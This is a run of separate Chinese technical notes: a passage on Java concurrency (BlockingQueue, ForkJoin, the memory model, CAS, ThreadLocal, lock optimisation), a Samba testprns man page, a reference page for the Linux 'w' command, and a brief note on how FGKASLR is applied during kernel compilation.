System.out.println("other task is running...");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
});
otherThread.start();
System.out.println(futureTask.get());
}
}
```
```html
other task is running...
4950
```
### BlockingQueue
java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现:
- **FIFO 队列** :LinkedBlockingQueue、ArrayBlockingQueue(固定长度)
- **优先级队列** :PriorityBlockingQueue
提供了阻塞的 take() 和 put() 方法:如果队列为空 take() 将阻塞,直到队列中有内容;如果队列为满 put() 将阻塞,直到队列有空闲位置。
**使用 BlockingQueue 实现生产者消费者问题**
```java
public class ProducerConsumer {
private static BlockingQueue<String> queue = new ArrayBlockingQueue<>(5);
private static class Producer extends Thread {
@Override
public void run() {
try {
queue.put("product");
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.print("produce..");
}
}
private static class Consumer extends Thread {
@Override
public void run() {
try {
String product = queue.take();
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.print("consume..");
}
}
}
```
```java
public static void main(String[] args) {
for (int i = 0; i < 2; i++) {
Producer producer = new Producer();
producer.start();
}
for (int i = 0; i < 5; i++) {
Consumer consumer = new Consumer();
consumer.start();
}
for (int i = 0; i < 3; i++) {
Producer producer = new Producer();
producer.start();
}
}
```
```html
produce..produce..consume..consume..produce..consume..produce..consume..produce..consume..
```
### ForkJoin
主要用于并行计算中,和 MapReduce 原理类似,都是把大的计算任务拆分成多个小任务并行计算。
```java
public class ForkJoinExample extends RecursiveTask<Integer> {
private final int threshold = 5;
private int first;
private int last;
public ForkJoinExample(int first, int last) {
this.first = first;
this.last = last;
}
@Override
protected Integer compute() {
int result = 0;
if (last - first <= threshold) {
// 任务足够小则直接计算
for (int i = first; i <= last; i++) {
result += i;
}
} else {
// 拆分成小任务
int middle = first + (last - first) / 2;
ForkJoinExample leftTask = new ForkJoinExample(first, middle);
ForkJoinExample rightTask = new ForkJoinExample(middle + 1, last);
leftTask.fork();
rightTask.fork();
result = leftTask.join() + rightTask.join();
}
return result;
}
}
```
```java
public static void main(String[] args) throws ExecutionException, InterruptedException {
ForkJoinExample example = new ForkJoinExample(1, 10000);
ForkJoinPool forkJoinPool = new ForkJoinPool();
Future result = forkJoinPool.submit(example);
System.out.println(result.get());
}
```
ForkJoin 使用 ForkJoinPool 来启动,它是一个特殊的线程池,线程数量取决于 CPU 核数。
```java
public class ForkJoinPool extends AbstractExecutorService
```
ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线程都维护了一个双端队列,用来存储需要执行的任务。工作窃取算法允许空闲的线程从其它线程的双端队列中窃取一个任务来执行。窃取的任务必须是最晚的任务,避免和队列所属线程发生竞争。例如下图中,Thread2 从 Thread1 的队列中拿出最晚的 Task1 任务,Thread1 会拿出 Task2 来执行,这样就避免发生竞争。但是如果队列中只有一个任务时还是会发生竞争。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e42f188f-f4a9-4e6f-88fc-45f4682072fb.png" width="300px"> </div><br>
## 九、线程不安全示例
如果多个线程对同一个共享数据进行访问而不采取同步操作的话,那么操作的结果是不一致的。
以下代码演示了 1000 个线程同时对 cnt 执行自增操作,操作结束之后它的值有可能小于 1000。
```java
public class ThreadUnsafeExample {
private int cnt = 0;
public void add() {
cnt++;
}
public int get() {
return cnt;
}
}
```
```java
public static void main(String[] args) throws InterruptedException {
final int threadSize = 1000;
ThreadUnsafeExample example = new ThreadUnsafeExample();
final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < threadSize; i++) {
executorService.execute(() -> {
example.add();
countDownLatch.countDown();
});
}
countDownLatch.await();
executorService.shutdown();
System.out.println(example.get());
}
```
```html
997
```
## 十、Java 内存模型
Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异,以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
### 主内存与工作内存
处理器上的寄存器的读写的速度比内存快几个数量级,为了解决这种速度矛盾,在它们之间加入了高速缓存。
加入高速缓存带来了一个新的问题:缓存一致性。如果多个缓存共享同一块主内存区域,那么多个缓存的数据可能会不一致,需要一些协议来解决这个问题。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/942ca0d2-9d5c-45a4-89cb-5fd89b61913f.png" width="600px"> </div><br>
所有的变量都存储在主内存中,每个线程还有自己的工作内存,工作内存存储在高速缓存或者寄存器中,保存了该线程使用的变量的主内存副本拷贝。
线程只能直接操作工作内存中的变量,不同线程之间的变量值传递需要通过主内存来完成。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/15851555-5abc-497d-ad34-efed10f43a6b.png" width="600px"> </div><br>
### 内存间交互操作
Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8b7ebbad-9604-4375-84e3-f412099d170c.png" width="450px"> </div><br>
- read:把一个变量的值从主内存传输到工作内存中
- load:在 read 之后执行,把 read 得到的值放入工作内存的变量副本中
- use:把工作内存中一个变量的值传递给执行引擎
- assign:把一个从执行引擎接收到的值赋给工作内存的变量
- store:把工作内存的一个变量的值传送到主内存中
- write:在 store 之后执行,把 store 得到的值放入主内存的变量中
- lock:作用于主内存的变量
- unlock
### 内存模型三大特性
#### 1. 原子性
Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性,例如对一个 int 类型的变量执行 assign 赋值操作,这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据(long,double)的读写操作划分为两次 32 位的操作来进行,即 load、store、read 和 write 操作可以不具备原子性。
有一个错误认识就是,int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中,cnt 属于 int 类型变量,1000 个线程对它进行自增操作之后,得到的值为 997 而不是 1000。
为了方便讨论,将内存间的交互操作简化为 3 个:load、assign、store。
下图演示了两个线程同时对 cnt 进行操作,load、assign、store 这一系列操作整体上看不具备原子性,那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存,T2 依然可以读入旧值。可以看出,这两个线程虽然执行了两次自增运算,但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2797a609-68db-4d7b-8701-41ac9a34b14f.jpg" width="300px"> </div><br>
AtomicInteger 能保证多个线程修改的原子性。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dd563037-fcaa-4bd8-83b6-b39d93a12c77.jpg" width="300px"> </div><br>
使用 AtomicInteger 重写之前线程不安全的代码之后得到以下线程安全实现:
```java
public class AtomicExample {
private AtomicInteger cnt = new AtomicInteger();
public void add() {
cnt.incrementAndGet();
}
public int get() {
return cnt.get();
}
}
```
```java
public static void main(String[] args) throws InterruptedException {
final int threadSize = 1000;
AtomicExample example = new AtomicExample(); // 只修改这条语句
final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < threadSize; i++) {
executorService.execute(() -> {
example.add();
countDownLatch.countDown();
});
}
countDownLatch.await();
executorService.shutdown();
System.out.println(example.get());
}
```
```html
1000
```
除了使用原子类之外,也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为:lock 和 unlock,在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
```java
public class AtomicSynchronizedExample {
private int cnt = 0;
public synchronized void add() {
cnt++;
}
public synchronized int get() {
return cnt;
}
}
```
```java
public static void main(String[] args) throws InterruptedException {
final int threadSize = 1000;
AtomicSynchronizedExample example = new AtomicSynchronizedExample();
final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
ExecutorService executorService = Executors.newCachedThreadPool();
for (int i = 0; i < threadSize; i++) {
executorService.execute(() -> {
example.add();
countDownLatch.countDown();
});
}
countDownLatch.await();
executorService.shutdown();
System.out.println(example.get());
}
```
```html
1000
```
#### 2. 可见性
可见性指当一个线程修改了共享变量的值,其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存,在变量读取前从主内存刷新变量值来实现可见性的。
主要有三种实现可见性的方式:
- volatile
- synchronized,对一个变量执行 unlock 操作之前,必须把变量值同步回主内存。
- final,被 final 关键字修饰的字段在构造器中一旦初始化完成,并且没有发生 this 逃逸(其它线程通过 this 引用访问到初始化了一半的对象),那么其它线程就能看见 final 字段的值。
对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰,不能解决线程不安全问题,因为 volatile 并不能保证操作的原子性。
#### 3. 有序性
有序性是指:在本线程内观察,所有操作都是有序的。在一个线程观察另一个线程,所有操作都是无序的,无序是因为发生了指令重排序。在 Java 内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行,却会影响到多线程并发执行的正确性。
volatile 关键字通过添加内存屏障的方式来禁止指令重排,即重排序时不能把后面的指令放到内存屏障之前。
也可以通过 synchronized 来保证有序性,它保证每个时刻只有一个线程执行同步代码,相当于是让线程顺序执行同步代码。
### 先行发生原则
上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外,JVM 还规定了先行发生原则,让一个操作无需控制就能先于另一个操作完成。
#### 1. 单一线程原则
> Single Thread rule
在一个线程内,在程序前面的操作先行发生于后面的操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/874b3ff7-7c5c-4e7a-b8ab-a82a3e038d20.png" width="180px"> </div><br>
#### 2. 管程锁定规则
> Monitor Lock Rule
一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8996a537-7c4a-4ec8-a3b7-7ef1798eae26.png" width="350px"> </div><br>
#### 3. volatile 变量规则
> Volatile Variable Rule
对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/942f33c9-8ad9-4987-836f-007de4c21de0.png" width="400px"> </div><br>
#### 4. 线程启动规则
> Thread Start Rule
Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6270c216-7ec0-4db7-94de-0003bce37cd2.png" width="380px"> </div><br>
#### 5. 线程加入规则
> Thread Join Rule
Thread 对象的结束先行发生于 join() 方法返回。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/233f8d89-31d7-413f-9c02-042f19c46ba1.png" width="400px"> </div><br>
#### 6. 线程中断规则
> Thread Interruption Rule
对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 interrupted() 方法检测到是否有中断发生。
#### 7. 对象终结规则
> Finalizer Rule
一个对象的初始化完成(构造函数执行结束)先行发生于它的 finalize() 方法的开始。
#### 8. 传递性
> Transitivity
如果操作 A 先行发生于操作 B,操作 B 先行发生于操作 C,那么操作 A 先行发生于操作 C。
## 十一、线程安全
多个线程不管以何种方式访问某个类,并且在主调代码中不需要进行同步,都能表现正确的行为。
线程安全有以下几种实现方式:
### 不可变
不可变(Immutable)的对象一定是线程安全的,不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来,永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下,应当尽量使对象成为不可变,来满足线程安全。
不可变的类型:
- final 关键字修饰的基本数据类型
- String
- 枚举类型
- Number 部分子类,如 Long 和 Double 等数值包装类型,BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。
对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
```java
public class ImmutableExample {
public static void main(String[] args) {
Map<String, Integer> map = new HashMap<>();
Map<String, Integer> unmodifiableMap = Collections.unmodifiableMap(map);
unmodifiableMap.put("a", 1);
}
}
```
```html
Exception in thread "main" java.lang.UnsupportedOperationException
at java.util.Collections$UnmodifiableMap.put(Collections.java:1457)
at ImmutableExample.main(ImmutableExample.java:9)
```
Collections.unmodifiableXXX() 先对原始的集合进行拷贝,需要对集合进行修改的方法都直接抛出异常。
```java
public V put(K key, V value) {
throw new UnsupportedOperationException();
}
```
### 互斥同步
synchronized 和 ReentrantLock。
### 非阻塞同步
互斥同步最主要的问题就是线程阻塞和唤醒所带来的性能问题,因此这种同步也称为阻塞同步。
互斥同步属于一种悲观的并发策略,总是认为只要不去做正确的同步措施,那就肯定会出现问题。无论共享数据是否真的会出现竞争,它都要进行加锁(这里讨论的是概念模型,实际上虚拟机会优化掉很大一部分不必要的加锁)、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。
随着硬件指令集的发展,我们可以使用基于冲突检测的乐观并发策略:先进行操作,如果没有其它线程争用共享数据,那操作就成功了,否则采取补偿措施(不断地重试,直到成功为止)。这种乐观的并发策略的许多实现都不需要将线程阻塞,因此这种同步操作称为非阻塞同步。
#### 1. CAS
乐观锁需要操作和冲突检测这两个步骤具备原子性,这里就不能再使用互斥同步来保证了,只能靠硬件来完成。硬件支持的原子性操作最典型的是:比较并交换(Compare-and-Swap,CAS)。CAS 指令需要有 3 个操作数,分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时,只有当 V 的值等于 A,才将 V 的值更新为 B。
#### 2. AtomicInteger
J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
以下代码使用了 AtomicInteger 执行了自增的操作。
```java
private AtomicInteger cnt = new AtomicInteger();
public void add() {
cnt.incrementAndGet();
}
```
以下代码是 incrementAndGet() 的源码,它调用了 Unsafe 的 getAndAddInt() 。
```java
public final int incrementAndGet() {
return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
}
```
以下代码是 getAndAddInt() 源码,var1 指示对象内存地址,var2 指示该字段相对对象内存地址的偏移,var4 指示操作需要加的数值,这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值,通过调用 compareAndSwapInt() 来进行 CAS 比较,如果该字段内存地址中的值等于 var5,那么就更新内存地址为 var1+var2 的变量为 var5+var4。
可以看到 getAndAddInt() 在一个循环中进行,发生冲突的做法是不断的进行重试。
```java
public final int getAndAddInt(Object var1, long var2, int var4) {
int var5;
do {
var5 = this.getIntVolatile(var1, var2);
} while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));
return var5;
}
```
#### 3. ABA
如果一个变量初次读取的时候是 A 值,它的值被改成了 B,后来又被改回为 A,那 CAS 操作就会误认为它从来没有被改变过。
J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题,它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效。
### 无同步方案
要保证线程安全,并不是一定就要进行同步。如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性。
#### 1. 栈封闭
多个线程访问同一个方法的局部变量时,不会出现线程安全问题,因为局部变量存储在虚拟机栈中,属于线程私有的。
```java
public class StackClosedExample {
public void add100() {
int cnt = 0;
for (int i = 0; i < 100; i++) {
cnt++;
}
System.out.println(cnt);
}
}
```
```java
public static void main(String[] args) {
StackClosedExample example = new StackClosedExample();
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> example.add100());
executorService.execute(() -> example.add100());
executorService.shutdown();
}
```
```html
100
100
```
#### 2. 线程本地存储(Thread Local Storage)
如果一段代码中所需要的数据必须与其他代码共享,那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证,我们就可以把共享数据的可见范围限制在同一个线程之内,这样,无须同步也能保证线程之间不出现数据争用的问题。
符合这种特点的应用并不少见,大部分使用消费队列的架构模式(如“生产者-消费者”模式)都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”(Thread-per-Request)的处理方式,这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
对于以下代码,thread1 中设置 threadLocal 为 1,而 thread2 设置 threadLocal 为 2。过了一段时间之后,thread1 读取 threadLocal 依然是 1,不受 thread2 的影响。
```java
public class ThreadLocalExample {
public static void main(String[] args) {
ThreadLocal threadLocal = new ThreadLocal();
Thread thread1 = new Thread(() -> {
threadLocal.set(1);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println(threadLocal.get());
threadLocal.remove();
});
Thread thread2 = new Thread(() -> {
threadLocal.set(2);
threadLocal.remove();
});
thread1.start();
thread2.start();
}
}
```
```html
1
```
为了理解 ThreadLocal,先看以下代码:
```java
public class ThreadLocalExample1 {
public static void main(String[] args) {
ThreadLocal threadLocal1 = new ThreadLocal();
ThreadLocal threadLocal2 = new ThreadLocal();
Thread thread1 = new Thread(() -> {
threadLocal1.set(1);
threadLocal2.set(1);
});
Thread thread2 = new Thread(() -> {
threadLocal1.set(2);
threadLocal2.set(2);
});
thread1.start();
thread2.start();
}
}
```
它所对应的底层结构图为:
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6782674c-1bfe-4879-af39-e9d722a95d39.png" width="500px"> </div><br>
每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
```java
/* ThreadLocal values pertaining to this thread. This map is maintained
* by the ThreadLocal class. */
ThreadLocal.ThreadLocalMap threadLocals = null;
```
当调用一个 ThreadLocal 的 set(T value) 方法时,先得到当前线程的 ThreadLocalMap 对象,然后将 ThreadLocal-\>value 键值对插入到该 Map 中。
```java
public void set(T value) {
Thread t = Thread.currentThread();
ThreadLocalMap map = getMap(t);
if (map != null)
map.set(this, value);
else
createMap(t, value);
}
```
get() 方法类似。
```java
public T get() {
Thread t = Thread.currentThread();
ThreadLocalMap map = getMap(t);
if (map != null) {
ThreadLocalMap.Entry e = map.getEntry(this);
if (e != null) {
@SuppressWarnings("unchecked")
T result = (T)e.value;
return result;
}
}
return setInitialValue();
}
```
ThreadLocal 从理论上讲并不是用来解决多线程并发问题的,因为根本不存在多线程竞争。
在一些场景 (尤其是使用线程池) 下,由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况,应该尽可能在每次使用 ThreadLocal 后手动调用 remove(),以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
#### 3. 可重入代码(Reentrant Code)
这种代码也叫做纯代码(Pure Code),可以在代码执行的任何时刻中断它,转而去执行另外一段代码(包括递归调用它本身),而在控制权返回后,原来的程序不会出现任何错误。
可重入代码有一些共同的特征,例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。
## 十二、锁优化
这里的锁优化主要是指 JVM 对 synchronized 的优化。
### 自旋锁
互斥同步进入阻塞状态的开销都很大,应该尽量避免。在许多应用中,共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环(自旋)一段时间,如果在这段时间内能获得锁,就可以避免进入阻塞状态。
自旋锁虽然能避免进入阻塞状态从而减少开销,但是它需要进行忙循环操作占用 CPU 时间,它只适用于共享数据的锁定状态很短的场景。
在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了,而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
### 锁消除
锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。
锁消除主要是通过逃逸分析来支持,如果堆上的共享数据不可能逃逸出去被其它线程访问到,那么就可以把它们当成私有数据对待,也就可以将它们的锁进行消除。
对于一些看起来没有加锁的代码,其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁:
```java
public static String concatString(String s1, String s2, String s3) {
return s1 + s2 + s3;
}
```
String 是一个不可变的类,编译器会对 String 的拼接自动优化。在 JDK 1.5 之前,会转化为 StringBuffer 对象的连续 append() 操作:
```java
public static String concatString(String s1, String s2, String s3) {
StringBuffer sb = new StringBuffer();
sb.append(s1);
sb.append(s2);
sb.append(s3);
return sb.toString();
}
```
每个 append() 方法中都有一个同步块。虚拟机观察变量 sb,很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说,sb 的所有引用永远不会逃逸到 concatString() 方法之外,其他线程无法访问到它,因此可以进行消除。
### 锁粗化
如果一系列的连续操作都对同一个对象反复加锁和解锁,频繁的加锁操作就会导致性能损耗。
上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁,将会把加锁的范围扩展(粗化)到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后,这样只需要加锁一次就可以了。
### 轻量级锁
JDK 1.6 引入了偏向锁和轻量级锁,从而让锁拥有了四个状态:无锁状态(unlocked)、偏向锁状态(biasble)、轻量级锁状态(lightweight locked)和重量级锁状态(inflated)。
以下是 HotSpot 虚拟机对象头的内存布局,这些数据被称为 Mark Word。其中 tag bits 对应了五个状态,这些状态在右侧的 state 表格中给出。除了 marked for gc 状态,其它四个状态已经在前面介绍过了。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/> </div><br>
下图左侧是一个线程的虚拟机栈,其中有一部分称为 Lock Record 的区域,这是在轻量级锁运行过程创建的,用于存放锁对象的 Mark Word。而右侧就是一个锁对象,包含了 Mark Word 和其它信息。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/051e436c-0e46-4c59-8f67-52d89d656182.png" width="500"/> </div><br>
轻量级锁是相对于传统的重量级锁而言,它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁,在整个同步周期内都是不存在竞争的,因此也就不需要都使用互斥量进行同步,可以先采用 CAS 操作进行同步,如果 CAS 失败了再改用互斥量进行同步。
当尝试获取一个锁对象时,如果锁对象标记为 0 01,说明锁对象的锁未锁定(unlocked)状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record,然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了,那么线程就获取了该对象上的锁,并且对象的 Mark Word 的锁标记变为 00,表示该对象处于轻量级锁状态。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/> </div><br>
如果 CAS 操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈,如果是的话说明当前线程已经拥有了这个锁对象,那就可以直接进入同步块继续执行,否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁。
### 偏向锁
偏向锁的思想是偏向于让第一个获取锁对象的线程,这个线程在之后获取该锁就不再需要进行同步操作,甚至连 CAS 操作也不再需要。
当锁对象第一次被线程获得的时候,进入偏向状态,标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中,如果 CAS 操作成功,这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
当有另外一个线程去尝试获取这个锁对象时,偏向状态就宣告结束,此时撤销偏向(Revoke Bias)后恢复到未锁定状态或者轻量级锁状态。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg" width="600"/> </div><br>
## 十三、多线程开发良好的实践
- 给线程起个有意义的名字,这样可以方便找 Bug。
- 缩小同步范围,从而减少锁争用。例如对于 synchronized,应该尽量使用同步块而不是同步方法。
- 多用同步工具少用 wait() 和 notify()。首先,CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作,而用 wait() 和 notify() 很难实现复杂控制流;其次,这些同步类是由最好的企业编写和维护,在后续的 JDK 中还会不断优化和完善。
- 使用 BlockingQueue 实现生产者消费者问题。
- 多用并发集合少用同步集合,例如应该使用 ConcurrentHashMap 而不是 Hashtable。
- 使用本地变量和不可变类来保证线程安全。
- 使用线程池而不是直接创建线程,这是因为创建线程代价很高,线程池可以有效地利用有限的线程来启动任务。
## 参考资料
- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
- [Threads and Locks](https://docs.oracle.com/javase/specs/jvms/se6/html/Threads.doc.html)
- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)
- [How is Java's ThreadLocal implemented under the hood?](https://stackoverflow.com/questions/1202444/how-is-javas-threadlocal-implemented-under-the-hood/15653015)
- [Concurrent](https://sites.google.com/site/webdevelopart/21-compile/06-java/javase/concurrent?tmpl=%2Fsystem%2Fapp%2Ftemplates%2Fprint%2F&showPrintDialog=1)
- [JAVA FORK JOIN EXAMPLE](http://www.javacreed.com/java-fork-join-example/ "Java Fork Join Example")
- [聊聊并发(八)——Fork/Join 框架介绍](http://ifeve.com/talk-concurrency-forkjoin/)
- [Eliminating SynchronizationRelated Atomic Operations with Biased Locking and Bulk Rebiasing](http://www.oracle.com/technetwork/java/javase/tech/biasedlocking-oopsla2006-preso-150106.pdf)
|
sec-knowleage
|
.TH TESTPRNS 1 "11 Nov 1999" "testprns 2.0.6"
.PP
NAME
名字
testprns \- 为smbd测试合法的打印机名
.PP
.SH 总览
.PP
\fBtestprns\fP printername [printcapname]
.PP
.SH 描述
.PP
此程序是samba套件的一部分。
.PP
testprns是个非常简单的测试程序,用于检查smbd作为服务提供的打印机名是否合法。
.PP
在这里\(lqValid\(rq的意思就是\(lq在printcap中可以找到该打印机\(rq。实际上
总是使用printcap文件来指定打印机是非常明智的。
.PP
.SH 选项
.PP
.IP
.IP "\fBprintername\fP"
要测试的打印机名。
.IP
打印机可以从printcap文件的每个记录首字段中获得,字段中用\(lq|\(rq 号来识
别单个的打印机名和别名。注意当测试请求的打印机名时并不确认或检查printcap
文件的总览。打印假脱机系统会比testprns程序更多或更少地放宽printcap文件的
总览。但是,如果testprns找到了打印机的话smbd会作这样的检查。
.IP
.IP "\fBprintcapname\fP"
此参数指定想要对给出的打印机名进行查找的printcap文件名。
.IP
如果此参数没有指定的话,testprns将尝试对编译时指定的printcap文件名。
.PP
.SH 相关文件
.PP
\fB/etc/printcap\fP 通常是被扫描的默认printcap文件。请参见
\fBprintcap (5)\fP\&.
.PP
.SH 诊断
.PP
如果发现检测的打印机合法,则显示\(lqPrinter name <printername> is
valid\(rq这样的信息。
.PP
如果发现检测的打印机不合法,则显示\(lqPrinter name <printername> is not
valid\(rq这样的信息。
.PP
所有测试结果信息通常情况下会被记录到当前目录下的test.log文件中。程序运行在调试级3上,所以
会记录十分详细的信息。如果有出错或警告的话应该仔细检查这个文件。
.PP
其它信息是不需加以说明的。
.PP
.SH 另见
.PP
\fBprintcap (5)\fP, \fBsmbd (8)\fP, \fBsmbclient
(1)\fP
.PP
.SH 作者
.PP
samba软件和相关工具最初由Andrew Tridgell samba-bugs@samba.org创建。samba现在由开发
组作为类似Linux内核开发采用的开放源代码计划方式来发展。
.PP
samba手册页最初由Karl Auer撰写。它的源码已被转换成YODL(一种极好的开放源代码软件,可以在
ftp://ftp.icce.rug.nl/pub/unix/处获得)格式并已由Jeremy Allison更新到samba2.0版本。
.PP
请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
w
===
显示目前登入系统的用户信息
## 补充说明
**w命令** 用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序。单独执行w命令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息。
### 语法
```shell
w(选项)(参数)
```
### 选项
```shell
-h, --no-header 不打印头信息;
-u, --no-current 当显示当前进程和cpu时间时忽略用户名;
-s, --short 使用短输出格式;
-f, --from 显示用户从哪登录;
-o, --old-style 老式输出
-i, --ip-addr 显示IP地址而不是主机名(如果可能)
--help 显示此帮助并退出
-V, --version 显示版本信息。
```
### 参数
用户:仅显示指定用户。
### 实例
```shell
w
20:39:37 up 136 days, 3:58, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM login@ IDLE JCPU PCPU WHAT
root pts/0 222.94.97.122 20:39 1.00s 0.00s 0.00s w
```
|
sec-knowleage
|
### FGKASLR编译阶段
FGKASLR 利用 gcc 的编译选项 `-ffunction-sections` 把内核中不同的函数放到不同的 section 中。 在编译的过程中,任何使用 C 语言编写的函数以及不在特殊输入节的函数都会单独作为一个节;使用汇编编写的代码会位于一个统一的节中。
